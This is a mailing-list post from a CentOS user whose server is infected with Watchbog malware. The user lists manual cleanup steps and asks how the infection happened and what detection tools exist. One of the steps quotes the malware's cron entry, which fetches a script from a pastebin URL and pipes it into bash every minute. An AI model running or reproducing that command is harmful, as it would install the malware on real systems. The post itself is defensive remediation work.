[CentOS] CentOS 7.5 Linux box got infected with Watchbog malware

Hi,

Is there a way to find out how the CentOS 7.5 Linux box got infected with malware? Currently i am referring to http://sudhakarbellamkonda.blogspot.com/2018/11/blocking-watchbog-malwareran... to carry out the below steps and is done manually.

1)rm -fr /tmp/*timesyncc.service* 2)crontab -e -u apigee delete the cron entry */1 * * * * (curl -fsSL https://pastebin.com/raw/aGTSGJJp%7C%7Cwget -q -O- https://pastebin.com/raw/aGTSGJJp)%7Cbash > /dev/null 2>&1 3)ps aux | grep watchbog kill -9 pidof watchbog

Any suggestions or recommendations to find out how CentOS 7.5 Linux box got infected with Watchbog Malware. Is there any open source software which can be installed on CentOS 7.5 Linux box to detect and prevent Malware?

Thanks in Advance.

Best Regards,

Kaushal